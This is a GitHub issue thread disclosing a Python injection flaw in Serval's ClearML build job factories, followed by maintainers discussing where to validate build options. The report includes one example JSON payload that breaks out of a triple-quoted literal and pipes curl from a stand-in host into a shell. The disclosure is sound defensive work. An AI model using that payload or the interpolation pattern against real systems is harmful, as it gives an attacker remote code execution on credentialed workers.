Remote code execution via build `Options` (Python injection into ClearML jobs)

[pmachapman]

Files: src/Machine/src/Serval.Machine.Shared/Services/NmtClearMLBuildJobFactory.cs:44, and identically src/Machine/src/Serval.Machine.Shared/Services/SmtTransferClearMLBuildJobFactory.cs:38, src/Machine/src/Serval.Machine.Shared/Services/StatsiticalClearMLBuildJobFactory.cs:38

The job script is built by string interpolation and the user's build options are embedded inside a Python triple-quoted literal:

+ (buildOptions is not null ? $"    'build_options': '''{buildOptions}''',\n" : "")

buildOptions is JsonSerializer.Serialize(build.Options) (src/Serval/src/Serval.Translation/Features/Engines/StartBuild.cs:90-92), where build.Options is arbitrary client-supplied JSON from POST .../builds. JSON string values preserve ''' and newlines, so a payload like:

{ "x": "''' \nimport os; os.system('curl http://evil/c|sh')\n#" }

closes the literal and executes arbitrary Python on the ClearML GPU worker — with that worker's credentials and network reach.

Fix: Stop generating code by interpolation. Pass dynamic values to the Python job as data — ClearML hyperparameters, or a single base64-encoded JSON blob that the Python side b64decode/json.loadss. Additionally constrain build Options to an allow-list schema at the API boundary.

[Enkidu93]

Super-issue of #306

[pmachapman]

@ddaspit @Enkidu93 This issue says:

Additionally constrain build Options to an allow-list schema at the API boundary.

Do we want to strongly type the build_options on the Serval API?

I have created a branch with models I generated from the yaml and documentation, which I think should cover it: main...build_options_validation

Let me know if this is the approach to take, or if you would rather just restrict certain entries, i.e. the parent_model_name.

[ddaspit]

I don't think we want to strongly type build options at the API level. It does make sense for Machine to validate the build options before starting a build.